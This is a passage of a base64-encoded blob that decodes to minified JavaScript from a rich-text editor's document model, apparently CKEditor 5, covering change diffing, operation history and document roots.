5wYXJlbnQsdC5wb3NpdGlvbi5vZmZzZXQsMSk7dGhpcy5fbWFya0luc2VydCh0LnBvc2l0aW9uLnBhcmVudCx0LnBvc2l0aW9uLm9mZnNldCwxKTtjb25zdCBlPWVmLl9jcmVhdGVGcm9tUG9zaXRpb25BbmRTaGlmdCh0LnBvc2l0aW9uLDEpO2Zvcihjb25zdCB0IG9mIHRoaXMuX21hcmtlckNvbGxlY3Rpb24uZ2V0TWFya2Vyc0ludGVyc2VjdGluZ1JhbmdlKGUpKXtjb25zdCBlPXQuZ2V0UmFuZ2UoKTt0aGlzLmJ1ZmZlck1hcmtlckNoYW5nZSh0Lm5hbWUsZSxlLHQuYWZmZWN0c0RhdGEpfWJyZWFrfWNhc2Uic3BsaXQiOntjb25zdCBlPXQuc3BsaXRQb3NpdGlvbi5wYXJlbnQ7aWYoIXRoaXMuX2lzSW5JbnNlcnRlZEVsZW1lbnQoZSkpe3RoaXMuX21hcmtSZW1vdmUoZSx0LnNwbGl0UG9zaXRpb24ub2Zmc2V0LHQuaG93TWFueSl9aWYoIXRoaXMuX2lzSW5JbnNlcnRlZEVsZW1lbnQodC5pbnNlcnRpb25Qb3NpdGlvbi5wYXJlbnQpKXt0aGlzLl9tYXJrSW5zZXJ0KHQuaW5zZXJ0aW9uUG9zaXRpb24ucGFyZW50LHQuaW5zZXJ0aW9uUG9zaXRpb24ub2Zmc2V0LDEpfWlmKHQuZ3JhdmV5YXJkUG9zaXRpb24pe3RoaXMuX21hcmtSZW1vdmUodC5ncmF2ZXlhcmRQb3NpdGlvbi5wYXJlbnQsdC5ncmF2ZXlhcmRQb3NpdGlvbi5vZmZzZXQsMSl9YnJlYWt9Y2FzZSJtZXJnZSI6e2NvbnN0IGU9dC5zb3VyY2VQb3NpdGlvbi5wYXJlbnQ7aWYoIXRoaXMuX2lzSW5JbnNlcnRlZEVsZW1lbnQoZS5wYXJlbnQpKXt0aGlzLl9tYXJrUmVtb3ZlKGUucGFyZW50LGUuc3RhcnRPZmZzZXQsMSl9Y29uc3Qgbj10LmdyYXZleWFyZFBvc2l0aW9uLnBhcmVudDt0aGlzLl9tYXJrSW5zZXJ0KG4sdC5ncmF2ZXlhcmRQb3NpdGlvbi5vZmZzZXQsMSk7Y29uc3QgaT10LnRhcmdldFBvc2l0aW9uLnBhcmVudDtpZighdGhpcy5faXNJbkluc2VydGVkRWxlbWVudChpKSl7dGhpcy5fbWFya0luc2VydChpLHQudGFyZ2V0UG9zaXRpb24ub2Zmc2V0LGUubWF4T2Zmc2V0KX1icmVha319dGhpcy5fY2FjaGVkQ2hhbmdlcz1udWxsfWJ1ZmZlck1hcmtlckNoYW5nZSh0LGUsbixpKXtjb25zdCBvPXRoaXMuX2NoYW5nZWRNYXJrZXJzLmdldCh0KTtpZighbyl7dGhpcy5fY2hhbmdlZE1hcmtlcnMuc2V0KHQse29sZFJhbmdlOmUsbmV3UmFuZ2U6bixhZmZlY3RzRGF0YTppfSl9ZWxzZXtvLm5ld1JhbmdlPW47by5hZmZlY3RzRGF0YT1pO2lmKG8ub2xkUmFuZ2U9PW51bGwmJm8ubmV3UmFuZ2U9PW51bGwpe3RoaXMuX2NoYW5nZWRNYXJrZXJzLmRlbGV0ZSh0KX19fWdldE1hcmtlcnNUb1JlbW92ZSgpe2NvbnN0IHQ9W107Zm9yKGNvbnN0W2Usbl1vZiB0aGlzLl9jaGFuZ2VkTWFya2Vycyl7aWYobi5vbGRSYW5nZSE9bnVsbCl7dC5wdXNoKHtuYW1lOmUscmFuZ2U6bi5vbGRSYW5nZX0pfX1yZXR1cm4gdH1nZXRNYXJrZXJzVG9BZGQoKXtjb25zdCB0PVtdO2Zvcihjb25zdFtlLG5db2YgdGhpcy5fY2hhbmdlZE1hcmtlcnMpe2lmKG4ubmV3UmFuZ2UhPW51bGwpe3QucHVzaCh7bmFtZTplLHJhbmdlOm4ubmV3UmFuZ2V9KX19cmV0dXJuIHR9Z2V0Q2hhbmdlZE1hcmtlcnMoKXtyZXR1cm4gQXJyYXkuZnJvbSh0aGlzLl9jaGFuZ2VkTWFya2VycykubWFwKCh0PT4oe25hbWU6dFswXSxkYXRhOntvbGRSYW5nZTp0WzFdLm9sZFJhbmdlLG5ld1JhbmdlOnRbMV0ubmV3UmFuZ2V9fSkpKX1oYXNEYXRhQ2hhbmdlcygpe2Zvcihjb25zdFssdF1vZiB0aGlzLl9jaGFuZ2VkTWFya2Vycyl7aWYodC5hZmZlY3RzRGF0YSl7cmV0dXJuIHRydWV9fXJldHVybiB0aGlzLl9jaGFuZ2VzSW5FbGVtZW50LnNpemU+MH1nZXRDaGFuZ2VzKHQ9e2luY2x1ZGVDaGFuZ2VzSW5HcmF2ZXlhcmQ6ZmFsc2V9KXtpZih0aGlzLl9jYWNoZWRDaGFuZ2VzKXtpZih0LmluY2x1ZGVDaGFuZ2VzSW5HcmF2ZXlhcmQpe3JldHVybiB0aGlzLl9jYWNoZWRDaGFuZ2VzV2l0aEdyYXZleWFyZC5zbGljZSgpfWVsc2V7cmV0dXJuIHRoaXMuX2NhY2hlZENoYW5nZXMuc2xpY2UoKX19Y29uc3QgZT1bXTtmb3IoY29uc3QgdCBvZiB0aGlzLl9jaGFuZ2VzSW5FbGVtZW50LmtleXMoKSl7Y29uc3Qgbj10aGlzLl9jaGFuZ2VzSW5FbGVtZW50LmdldCh0KS5zb3J0KCgodCxlKT0+e2lmKHQub2Zmc2V0PT09ZS5vZmZzZXQpe2lmKHQudHlwZSE9ZS50eXBlKXtyZXR1cm4gdC50eXBlPT0icmVtb3ZlIj8tMToxfXJldHVybiAwfXJldHVybiB0Lm9mZnNldDxlLm9mZnNldD8tMToxfSkpO2NvbnN0IGk9dGhpcy5fZWxlbWVudFNuYXBzaG90cy5nZXQodCk7Y29uc3Qgbz1SZyh0LmdldENoaWxkcmVuKCkpO2NvbnN0IHI9amcoaS5sZW5ndGgsbik7bGV0IHM9MDtsZXQgYT0wO2Zvcihjb25zdCBuIG9mIHIpe2lmKG49PT0iaSIpe2UucHVzaCh0aGlzLl9nZXRJbnNlcnREaWZmKHQscyxvW3NdLm5hbWUpKTtzKyt9ZWxzZSBpZihuPT09InIiKXtlLnB1c2godGhpcy5fZ2V0UmVtb3ZlRGlmZih0LHMsaVthXS5uYW1lKSk7YSsrfWVsc2UgaWYobj09PSJhIil7Y29uc3Qgbj1vW3NdLmF0dHJpYnV0ZXM7Y29uc3Qgcj1pW2FdLmF0dHJpYnV0ZXM7bGV0IGM7aWYob1tzXS5uYW1lPT0iJHRleHQiKXtjPW5ldyBlZihKaC5fY3JlYXRlQXQodCxzKSxKaC5fY3JlYXRlQXQodCxzKzEpKX1lbHNle2NvbnN0IGU9dC5vZmZzZXRUb0luZGV4KHMpO2M9bmV3IGVmKEpoLl9jcmVhdGVBdCh0LHMpLEpoLl9jcmVhdGVBdCh0LmdldENoaWxkKGUpLDApKX1lLnB1c2goLi4udGhpcy5fZ2V0QXR0cmlidXRlc0RpZmYoYyxyLG4pKTtzKys7YSsrfWVsc2V7cysrO2ErK319fWUuc29ydCgoKHQsZSk9PntpZih0LnBvc2l0aW9uLnJvb3QhPWUucG9zaXRpb24ucm9vdCl7cmV0dXJuIHQucG9zaXRpb24ucm9vdC5yb290TmFtZTxlLnBvc2l0aW9uLnJvb3Qucm9vdE5hbWU/LTE6MX1pZih0LnBvc2l0aW9uLmlzRXF1YWwoZS5wb3NpdGlvbikpe3JldHVybiB0LmNoYW5nZUNvdW50LWUuY2hhbmdlQ291bnR9cmV0dXJuIHQucG9zaXRpb24uaXNCZWZvcmUoZS5wb3NpdGlvbik/LTE6MX0pKTtmb3IobGV0IHQ9MTt0PGUubGVuZ3RoO3QrKyl7Y29uc3Qgbj1lW3QtMV07Y29uc3QgaT1lW3RdO2NvbnN0IG89bi50eXBlPT0icmVtb3ZlIiYmaS50eXBlPT0icmVtb3ZlIiYmbi5uYW1lPT0iJHRleHQiJiZpLm5hbWU9PSIkdGV4dCImJm4ucG9zaXRpb24uaXNFcXVhbChpLnBvc2l0aW9uKTtjb25zdCByPW4udHlwZT09Imluc2VydCImJmkudHlwZT09Imluc2VydCImJm4ubmFtZT09IiR0ZXh0IiYmaS5uYW1lPT0iJHRleHQiJiZuLnBvc2l0aW9uLnBhcmVudD09aS5wb3NpdGlvbi5wYXJlbnQmJm4ucG9zaXRpb24ub2Zmc2V0K24ubGVuZ3RoPT1pLnBvc2l0aW9uLm9mZnNldDtjb25zdCBzPW4udHlwZT09ImF0dHJpYnV0ZSImJmkudHlwZT09ImF0dHJpYnV0ZSImJm4ucG9zaXRpb24ucGFyZW50PT1pLnBvc2l0aW9uLnBhcmVudCYmbi5yYW5nZS5pc0ZsYXQmJmkucmFuZ2UuaXNGbGF0JiZuLnBvc2l0aW9uLm9mZnNldCtuLmxlbmd0aD09aS5wb3NpdGlvbi5vZmZzZXQmJm4uYXR0cmlidXRlS2V5PT1pLmF0dHJpYnV0ZUtleSYmbi5hdHRyaWJ1dGVPbGRWYWx1ZT09aS5hdHRyaWJ1dGVPbGRWYWx1ZSYmbi5hdHRyaWJ1dGVOZXdWYWx1ZT09aS5hdHRyaWJ1dGVOZXdWYWx1ZTtpZihvfHxyfHxzKXtlW3QtMV0ubGVuZ3RoKys7aWYocyl7ZVt0LTFdLnJhbmdlLmVuZD1lW3QtMV0ucmFuZ2UuZW5kLmdldFNoaWZ0ZWRCeSgxKX1lLnNwbGljZSh0LDEpO3QtLX19Zm9yKGNvbnN0IHQgb2YgZSl7ZGVsZXRlIHQuY2hhbmdlQ291bnQ7aWYodC50eXBlPT0iYXR0cmlidXRlIil7ZGVsZXRlIHQucG9zaXRpb247ZGVsZXRlIHQubGVuZ3RofX10aGlzLl9jaGFuZ2VDb3VudD0wO3RoaXMuX2NhY2hlZENoYW5nZXNXaXRoR3JhdmV5YXJkPWUuc2xpY2UoKTt0aGlzLl9jYWNoZWRDaGFuZ2VzPWUuc2xpY2UoKS5maWx0ZXIoRmcpO2lmKHQuaW5jbHVkZUNoYW5nZXNJbkdyYXZleWFyZCl7cmV0dXJuIHRoaXMuX2NhY2hlZENoYW5nZXNXaXRoR3JhdmV5YXJkfWVsc2V7cmV0dXJuIHRoaXMuX2NhY2hlZENoYW5nZXN9fXJlc2V0KCl7dGhpcy5fY2hhbmdlc0luRWxlbWVudC5jbGVhcigpO3RoaXMuX2VsZW1lbnRTbmFwc2hvdHMuY2xlYXIoKTt0aGlzLl9jaGFuZ2VkTWFya2Vycy5jbGVhcigpO3RoaXMuX2NhY2hlZENoYW5nZXM9bnVsbH1fbWFya0luc2VydCh0LGUsbil7Y29uc3QgaT17dHlwZToiaW5zZXJ0IixvZmZzZXQ6ZSxob3dNYW55Om4sY291bnQ6dGhpcy5fY2hhbmdlQ291bnQrK307dGhpcy5fbWFya0NoYW5nZSh0LGkpfV9tYXJrUmVtb3ZlKHQsZSxuKXtjb25zdCBpPXt0eXBlOiJyZW1vdmUiLG9mZnNldDplLGhvd01hbnk6bixjb3VudDp0aGlzLl9jaGFuZ2VDb3VudCsrfTt0aGlzLl9tYXJrQ2hhbmdlKHQsaSk7dGhpcy5fcmVtb3ZlQWxsTmVzdGVkQ2hhbmdlcyh0LGUsbil9X21hcmtBdHRyaWJ1dGUodCl7Y29uc3QgZT17dHlwZToiYXR0cmlidXRlIixvZmZzZXQ6dC5zdGFydE9mZnNldCxob3dNYW55OnQub2Zmc2V0U2l6ZSxjb3VudDp0aGlzLl9jaGFuZ2VDb3VudCsrfTt0aGlzLl9tYXJrQ2hhbmdlKHQucGFyZW50LGUpfV9tYXJrQ2hhbmdlKHQsZSl7dGhpcy5fbWFrZVNuYXBzaG90KHQpO2NvbnN0IG49dGhpcy5fZ2V0Q2hhbmdlc0ZvckVsZW1lbnQodCk7dGhpcy5faGFuZGxlQ2hhbmdlKGUsbik7bi5wdXNoKGUpO2ZvcihsZXQgdD0wO3Q8bi5sZW5ndGg7dCsrKXtpZihuW3RdLmhvd01hbnk8MSl7bi5zcGxpY2UodCwxKTt0LS19fX1fZ2V0Q2hhbmdlc0ZvckVsZW1lbnQodCl7bGV0IGU7aWYodGhpcy5fY2hhbmdlc0luRWxlbWVudC5oYXModCkpe2U9dGhpcy5fY2hhbmdlc0luRWxlbWVudC5nZXQodCl9ZWxzZXtlPVtdO3RoaXMuX2NoYW5nZXNJbkVsZW1lbnQuc2V0KHQsZSl9cmV0dXJuIGV9X21ha2VTbmFwc2hvdCh0KXtpZighdGhpcy5fZWxlbWVudFNuYXBzaG90cy5oYXModCkpe3RoaXMuX2VsZW1lbnRTbmFwc2hvdHMuc2V0KHQsUmcodC5nZXRDaGlsZHJlbigpKSl9fV9oYW5kbGVDaGFuZ2UodCxlKXt0Lm5vZGVzVG9IYW5kbGU9dC5ob3dNYW55O2Zvcihjb25zdCBuIG9mIGUpe2NvbnN0IGk9dC5vZmZzZXQrdC5ob3dNYW55O2NvbnN0IG89bi5vZmZzZXQrbi5ob3dNYW55O2lmKHQudHlwZT09Imluc2VydCIpe2lmKG4udHlwZT09Imluc2VydCIpe2lmKHQub2Zmc2V0PD1uLm9mZnNldCl7bi5vZmZzZXQrPXQuaG93TWFueX1lbHNlIGlmKHQub2Zmc2V0PG8pe24uaG93TWFueSs9dC5ub2Rlc1RvSGFuZGxlO3Qubm9kZXNUb0hhbmRsZT0wfX1pZihuLnR5cGU9PSJyZW1vdmUiKXtpZih0Lm9mZnNldDxuLm9mZnNldCl7bi5vZmZzZXQrPXQuaG93TWFueX19aWYobi50eXBlPT0iYXR0cmlidXRlIil7aWYodC5vZmZzZXQ8PW4ub2Zmc2V0KXtuLm9mZnNldCs9dC5ob3dNYW55fWVsc2UgaWYodC5vZmZzZXQ8byl7Y29uc3Qgbz1uLmhvd01hbnk7bi5ob3dNYW55PXQub2Zmc2V0LW4ub2Zmc2V0O2UudW5zaGlmdCh7dHlwZToiYXR0cmlidXRlIixvZmZzZXQ6aSxob3dNYW55Om8tbi5ob3dNYW55LGNvdW50OnRoaXMuX2NoYW5nZUNvdW50Kyt9KX19fWlmKHQudHlwZT09InJlbW92ZSIpe2lmKG4udHlwZT09Imluc2VydCIpe2lmKGk8PW4ub2Zmc2V0KXtuLm9mZnNldC09dC5ob3dNYW55fWVsc2UgaWYoaTw9byl7aWYodC5vZmZzZXQ8bi5vZmZzZXQpe2NvbnN0IGU9aS1uLm9mZnNldDtuLm9mZnNldD10Lm9mZnNldDtuLmhvd01hbnktPWU7dC5ub2Rlc1RvSGFuZGxlLT1lfWVsc2V7bi5ob3dNYW55LT10Lm5vZGVzVG9IYW5kbGU7dC5ub2Rlc1RvSGFuZGxlPTB9fWVsc2V7aWYodC5vZmZzZXQ8PW4ub2Zmc2V0KXt0Lm5vZGVzVG9IYW5kbGUtPW4uaG93TWFueTtuLmhvd01hbnk9MH1lbHNlIGlmKHQub2Zmc2V0PG8pe2NvbnN0IGU9by10Lm9mZnNldDtuLmhvd01hbnktPWU7dC5ub2Rlc1RvSGFuZGxlLT1lfX19aWYobi50eXBlPT0icmVtb3ZlIil7aWYoaTw9bi5vZmZzZXQpe24ub2Zmc2V0LT10Lmhvd01hbnl9ZWxzZSBpZih0Lm9mZnNldDxuLm9mZnNldCl7dC5ub2Rlc1RvSGFuZGxlKz1uLmhvd01hbnk7bi5ob3dNYW55PTB9fWlmKG4udHlwZT09ImF0dHJpYnV0ZSIpe2lmKGk8PW4ub2Zmc2V0KXtuLm9mZnNldC09dC5ob3dNYW55fWVsc2UgaWYodC5vZmZzZXQ8bi5vZmZzZXQpe2NvbnN0IGU9aS1uLm9mZnNldDtuLm9mZnNldD10Lm9mZnNldDtuLmhvd01hbnktPWV9ZWxzZSBpZih0Lm9mZnNldDxvKXtpZihpPD1vKXtjb25zdCBpPW4uaG93TWFueTtuLmhvd01hbnk9dC5vZmZzZXQtbi5vZmZzZXQ7Y29uc3Qgbz1pLW4uaG93TWFueS10Lm5vZGVzVG9IYW5kbGU7ZS51bnNoaWZ0KHt0eXBlOiJhdHRyaWJ1dGUiLG9mZnNldDp0Lm9mZnNldCxob3dNYW55Om8sY291bnQ6dGhpcy5fY2hhbmdlQ291bnQrK30pfWVsc2V7bi5ob3dNYW55LT1vLXQub2Zmc2V0fX19fWlmKHQudHlwZT09ImF0dHJpYnV0ZSIpe2lmKG4udHlwZT09Imluc2VydCIpe2lmKHQub2Zmc2V0PG4ub2Zmc2V0JiZpPm4ub2Zmc2V0KXtpZihpPm8pe2NvbnN0IHQ9e3R5cGU6ImF0dHJpYnV0ZSIsb2Zmc2V0Om8saG93TWFueTppLW8sY291bnQ6dGhpcy5fY2hhbmdlQ291bnQrK307dGhpcy5faGFuZGxlQ2hhbmdlKHQsZSk7ZS5wdXNoKHQpfXQubm9kZXNUb0hhbmRsZT1uLm9mZnNldC10Lm9mZnNldDt0Lmhvd01hbnk9dC5ub2Rlc1RvSGFuZGxlfWVsc2UgaWYodC5vZmZzZXQ+PW4ub2Zmc2V0JiZ0Lm9mZnNldDxvKXtpZihpPm8pe3Qubm9kZXNUb0hhbmRsZT1pLW87dC5vZmZzZXQ9b31lbHNle3Qubm9kZXNUb0hhbmRsZT0wfX19aWYobi50eXBlPT0icmVtb3ZlIil7aWYodC5vZmZzZXQ8bi5vZmZzZXQmJmk+bi5vZmZzZXQpe2NvbnN0IG89e3R5cGU6ImF0dHJpYnV0ZSIsb2Zmc2V0Om4ub2Zmc2V0LGhvd01hbnk6aS1uLm9mZnNldCxjb3VudDp0aGlzLl9jaGFuZ2VDb3VudCsrfTt0aGlzLl9oYW5kbGVDaGFuZ2UobyxlKTtlLnB1c2gobyk7dC5ub2Rlc1RvSGFuZGxlPW4ub2Zmc2V0LXQub2Zmc2V0O3QuaG93TWFueT10Lm5vZGVzVG9IYW5kbGV9fWlmKG4udHlwZT09ImF0dHJpYnV0ZSIpe2lmKHQub2Zmc2V0Pj1uLm9mZnNldCYmaTw9byl7dC5ub2Rlc1RvSGFuZGxlPTA7dC5ob3dNYW55PTA7dC5vZmZzZXQ9MH1lbHNlIGlmKHQub2Zmc2V0PD1uLm9mZnNldCYmaT49byl7bi5ob3dNYW55PTB9fX19dC5ob3dNYW55PXQubm9kZXNUb0hhbmRsZTtkZWxldGUgdC5ub2Rlc1RvSGFuZGxlfV9nZXRJbnNlcnREaWZmKHQsZSxuKXtyZXR1cm57dHlwZToiaW5zZXJ0Iixwb3NpdGlvbjpKaC5fY3JlYXRlQXQodCxlKSxuYW1lOm4sbGVuZ3RoOjEsY2hhbmdlQ291bnQ6dGhpcy5fY2hhbmdlQ291bnQrK319X2dldFJlbW92ZURpZmYodCxlLG4pe3JldHVybnt0eXBlOiJyZW1vdmUiLHBvc2l0aW9uOkpoLl9jcmVhdGVBdCh0LGUpLG5hbWU6bixsZW5ndGg6MSxjaGFuZ2VDb3VudDp0aGlzLl9jaGFuZ2VDb3VudCsrfX1fZ2V0QXR0cmlidXRlc0RpZmYodCxlLG4pe2NvbnN0IGk9W107bj1uZXcgTWFwKG4pO2Zvcihjb25zdFtvLHJdb2YgZSl7Y29uc3QgZT1uLmhhcyhvKT9uLmdldChvKTpudWxsO2lmKGUhPT1yKXtpLnB1c2goe3R5cGU6ImF0dHJpYnV0ZSIscG9zaXRpb246dC5zdGFydCxyYW5nZTp0LmNsb25lKCksbGVuZ3RoOjEsYXR0cmlidXRlS2V5Om8sYXR0cmlidXRlT2xkVmFsdWU6cixhdHRyaWJ1dGVOZXdWYWx1ZTplLGNoYW5nZUNvdW50OnRoaXMuX2NoYW5nZUNvdW50Kyt9KX1uLmRlbGV0ZShvKX1mb3IoY29uc3RbZSxvXW9mIG4pe2kucHVzaCh7dHlwZToiYXR0cmlidXRlIixwb3NpdGlvbjp0LnN0YXJ0LHJhbmdlOnQuY2xvbmUoKSxsZW5ndGg6MSxhdHRyaWJ1dGVLZXk6ZSxhdHRyaWJ1dGVPbGRWYWx1ZTpudWxsLGF0dHJpYnV0ZU5ld1ZhbHVlOm8sY2hhbmdlQ291bnQ6dGhpcy5fY2hhbmdlQ291bnQrK30pfXJldHVybiBpfV9pc0luSW5zZXJ0ZWRFbGVtZW50KHQpe2NvbnN0IGU9dC5wYXJlbnQ7aWYoIWUpe3JldHVybiBmYWxzZX1jb25zdCBuPXRoaXMuX2NoYW5nZXNJbkVsZW1lbnQuZ2V0KGUpO2NvbnN0IGk9dC5zdGFydE9mZnNldDtpZihuKXtmb3IoY29uc3QgdCBvZiBuKXtpZih0LnR5cGU9PSJpbnNlcnQiJiZpPj10Lm9mZnNldCYmaTx0Lm9mZnNldCt0Lmhvd01hbnkpe3JldHVybiB0cnVlfX19cmV0dXJuIHRoaXMuX2lzSW5JbnNlcnRlZEVsZW1lbnQoZSl9X3JlbW92ZUFsbE5lc3RlZENoYW5nZXModCxlLG4pe2NvbnN0IGk9bmV3IGVmKEpoLl9jcmVhdGVBdCh0LGUpLEpoLl9jcmVhdGVBdCh0LGUrbikpO2Zvcihjb25zdCB0IG9mIGkuZ2V0SXRlbXMoe3NoYWxsb3c6dHJ1ZX0pKXtpZih0LmlzKCJlbGVtZW50Iikpe3RoaXMuX2VsZW1lbnRTbmFwc2hvdHMuZGVsZXRlKHQpO3RoaXMuX2NoYW5nZXNJbkVsZW1lbnQuZGVsZXRlKHQpO3RoaXMuX3JlbW92ZUFsbE5lc3RlZENoYW5nZXModCwwLHQubWF4T2Zmc2V0KX19fX1mdW5jdGlvbiBSZyh0KXtjb25zdCBlPVtdO2Zvcihjb25zdCBuIG9mIHQpe2lmKG4uaXMoIiR0ZXh0Iikpe2ZvcihsZXQgdD0wO3Q8bi5kYXRhLmxlbmd0aDt0Kyspe2UucHVzaCh7bmFtZToiJHRleHQiLGF0dHJpYnV0ZXM6bmV3IE1hcChuLmdldEF0dHJpYnV0ZXMoKSl9KX19ZWxzZXtlLnB1c2goe25hbWU6bi5uYW1lLGF0dHJpYnV0ZXM6bmV3IE1hcChuLmdldEF0dHJpYnV0ZXMoKSl9KX19cmV0dXJuIGV9ZnVuY3Rpb24gamcodCxlKXtjb25zdCBuPVtdO2xldCBpPTA7bGV0IG89MDtmb3IoY29uc3QgdCBvZiBlKXtpZih0Lm9mZnNldD5pKXtmb3IobGV0IGU9MDtlPHQub2Zmc2V0LWk7ZSsrKXtuLnB1c2goImUiKX1vKz10Lm9mZnNldC1pfWlmKHQudHlwZT09Imluc2VydCIpe2ZvcihsZXQgZT0wO2U8dC5ob3dNYW55O2UrKyl7bi5wdXNoKCJpIil9aT10Lm9mZnNldCt0Lmhvd01hbnl9ZWxzZSBpZih0LnR5cGU9PSJyZW1vdmUiKXtmb3IobGV0IGU9MDtlPHQuaG93TWFueTtlKyspe24ucHVzaCgiciIpfWk9dC5vZmZzZXQ7bys9dC5ob3dNYW55fWVsc2V7bi5wdXNoKC4uLiJhIi5yZXBlYXQodC5ob3dNYW55KS5zcGxpdCgiIikpO2k9dC5vZmZzZXQrdC5ob3dNYW55O28rPXQuaG93TWFueX19aWYobzx0KXtmb3IobGV0IGU9MDtlPHQtby1pO2UrKyl7bi5wdXNoKCJlIil9fXJldHVybiBufWZ1bmN0aW9uIEZnKHQpe2NvbnN0IGU9dC5wb3NpdGlvbiYmdC5wb3NpdGlvbi5yb290LnJvb3ROYW1lPT0iJGdyYXZleWFyZCI7Y29uc3Qgbj10LnJhbmdlJiZ0LnJhbmdlLnJvb3Qucm9vdE5hbWU9PSIkZ3JhdmV5YXJkIjtyZXR1cm4hZSYmIW59Y2xhc3MgVmd7Y29uc3RydWN0b3IoKXt0aGlzLl9vcGVyYXRpb25zPVtdO3RoaXMuX3VuZG9QYWlycz1uZXcgTWFwO3RoaXMuX3VuZG9uZU9wZXJhdGlvbnM9bmV3IFNldH1hZGRPcGVyYXRpb24odCl7aWYodGhpcy5fb3BlcmF0aW9ucy5pbmNsdWRlcyh0KSl7cmV0dXJufXRoaXMuX29wZXJhdGlvbnMucHVzaCh0KX1nZXRPcGVyYXRpb25zKHQ9TnVtYmVyLk5FR0FUSVZFX0lORklOSVRZLGU9TnVtYmVyLlBPU0lUSVZFX0lORklOSVRZKXtjb25zdCBuPVtdO2Zvcihjb25zdCBpIG9mIHRoaXMuX29wZXJhdGlvbnMpe2lmKGkuYmFzZVZlcnNpb24+PXQmJmkuYmFzZVZlcnNpb248ZSl7bi5wdXNoKGkpfX1yZXR1cm4gbn1nZXRPcGVyYXRpb24odCl7Zm9yKGNvbnN0IGUgb2YgdGhpcy5fb3BlcmF0aW9ucyl7aWYoZS5iYXNlVmVyc2lvbj09dCl7cmV0dXJuIGV9fX1zZXRPcGVyYXRpb25Bc1VuZG9uZSh0LGUpe3RoaXMuX3VuZG9QYWlycy5zZXQoZSx0KTt0aGlzLl91bmRvbmVPcGVyYXRpb25zLmFkZCh0KX1pc1VuZG9pbmdPcGVyYXRpb24odCl7cmV0dXJuIHRoaXMuX3VuZG9QYWlycy5oYXModCl9aXNVbmRvbmVPcGVyYXRpb24odCl7cmV0dXJuIHRoaXMuX3VuZG9uZU9wZXJhdGlvbnMuaGFzKHQpfWdldFVuZG9uZU9wZXJhdGlvbih0KXtyZXR1cm4gdGhpcy5fdW5kb1BhaXJzLmdldCh0KX19ZnVuY3Rpb24gVWcodCl7cmV0dXJuISF0JiZ0Lmxlbmd0aD09MSYmL1tcdTAzMDAtXHUwMzZmXHUxYWIwLVx1MWFmZlx1MWRjMC1cdTFkZmZcdTIwZDAtXHUyMGZmXHVmZTIwLVx1ZmUyZl0vLnRlc3QodCl9ZnVuY3Rpb24gSGcodCl7cmV0dXJuISF0JiZ0Lmxlbmd0aD09MSYmL1tcdWQ4MDAtXHVkYmZmXS8udGVzdCh0KX1mdW5jdGlvbiBHZyh0KXtyZXR1cm4hIXQmJnQubGVuZ3RoPT0xJiYvW1x1ZGMwMC1cdWRmZmZdLy50ZXN0KHQpfWZ1bmN0aW9uIFdnKHQsZSl7cmV0dXJuIEhnKHQuY2hhckF0KGUtMSkpJiZHZyh0LmNoYXJBdChlKSl9ZnVuY3Rpb24gS2codCxlKXtyZXR1cm4gVWcodC5jaGFyQXQoZSkpfWNvbnN0IHFnPSIkZ3JhdmV5YXJkIjtjbGFzcyBZZ3tjb25zdHJ1Y3Rvcih0KXt0aGlzLm1vZGVsPXQ7dGhpcy52ZXJzaW9uPTA7dGhpcy5oaXN0b3J5PW5ldyBWZyh0aGlzKTt0aGlzLnNlbGVjdGlvbj1uZXcgX2YodGhpcyk7dGhpcy5yb290cz1uZXcgdnMoe2lkUHJvcGVydHk6InJvb3ROYW1lIn0pO3RoaXMuZGlmZmVyPW5ldyBPZyh0Lm1hcmtlcnMpO3RoaXMuX3Bvc3RGaXhlcnM9bmV3IFNldDt0aGlzLl9oYXNTZWxlY3Rpb25DaGFuZ2VkRnJvbVRoZUxhc3RDaGFuZ2VCbG9jaz1mYWxzZTt0aGlzLmNyZWF0ZVJvb3QoIiRyb290IixxZyk7dGhpcy5saXN0ZW5Ubyh0LCJhcHBseU9wZXJhdGlvbiIsKCh0LGUpPT57Y29uc3Qgbj1lWzBdO2lmKG4uaXNEb2N1bWVudE9wZXJhdGlvbiYmbi5iYXNlVmVyc2lvbiE9PXRoaXMudmVyc2lvbil7dGhyb3cgbmV3IHNzWyJhIl0oIm1vZGVsLWRvY3VtZW50LWFwcGx5b3BlcmF0aW9uLXdyb25nLXZlcnNpb24iLHRoaXMse29wZXJhdGlvbjpufSl9fSkse3ByaW9yaXR5OiJoaWdoZXN0In0pO3RoaXMubGlzdGVuVG8odCwiYXBwbHlPcGVyYXRpb24iLCgodCxlKT0+e2NvbnN0IG49ZVswXTtpZihuLmlzRG9jdW1lbnRPcGVyYXRpb24pe3RoaXMuZGlmZmVyLmJ1ZmZlck9wZXJhdGlvbihuKX19KSx7cHJpb3JpdHk6ImhpZ2gifSk7dGhpcy5saXN0ZW5Ubyh0LCJhcHBseU9wZXJhdGlvbiIsKCh0LGUpPT57Y29uc3Qgbj1lWzBdO2lmKG4uaXNEb2N1bWVudE9wZXJhdGlvbil7dGhpcy52ZXJzaW9uKys7dGhpcy5oaXN0b3J5LmFkZE9wZXJhdGlvbihuKX19KSx7cHJpb3JpdHk6ImxvdyJ9KTt0aGlzLmxpc3RlblRvKHRoaXMuc2VsZWN0aW9uLCJjaGFuZ2UiLCgoKT0+e3RoaXMuX2hhc1NlbGVjdGlvbkNoYW5nZWRGcm9tVGhlTGFzdENoYW5nZUJsb2NrPXRydWV9KSk7dGhpcy5saXN0ZW5Ubyh0Lm1hcmtlcnMsInVwZGF0ZSIsKCh0LGUsbixpKT0+e3RoaXMuZGlmZmVyLmJ1ZmZlck1hcmtlckNoYW5nZShlLm5hbWUsbixpLGUuYWZmZWN0c0RhdGEpO2lmKG49PT1udWxsKXtlLm9uKCJjaGFuZ2UiLCgodCxuKT0+e3RoaXMuZGlmZmVyLmJ1ZmZlck1hcmtlckNoYW5nZShlLm5hbWUsbixlLmdldFJhbmdlKCksZS5hZmZlY3RzRGF0YSl9KSl9fSkpfWdldCBncmF2ZXlhcmQoKXtyZXR1cm4gdGhpcy5nZXRSb290KHFnKX1jcmVhdGVSb290KHQ9IiRyb290IixlPSJtYWluIil7aWYodGhpcy5yb290cy5nZXQoZSkpe3Rocm93IG5ldyBzc1siYSJdKCJtb2RlbC1kb2N1bWVudC1jcmVhdGVyb290LW5hbWUtZXhpc3RzIix0aGlzLHtuYW1lOmV9KX1jb25zdCBuPW5ldyBUZyh0aGlzLHQsZSk7dGhpcy5yb290cy5hZGQobik7cmV0dXJuIG59ZGVzdHJveSgpe3RoaXMuc2VsZWN0aW9uLmRlc3Ryb3koKTt0aGlzLnN0b3BMaXN0ZW5pbmcoKX1nZXRSb290KHQ9I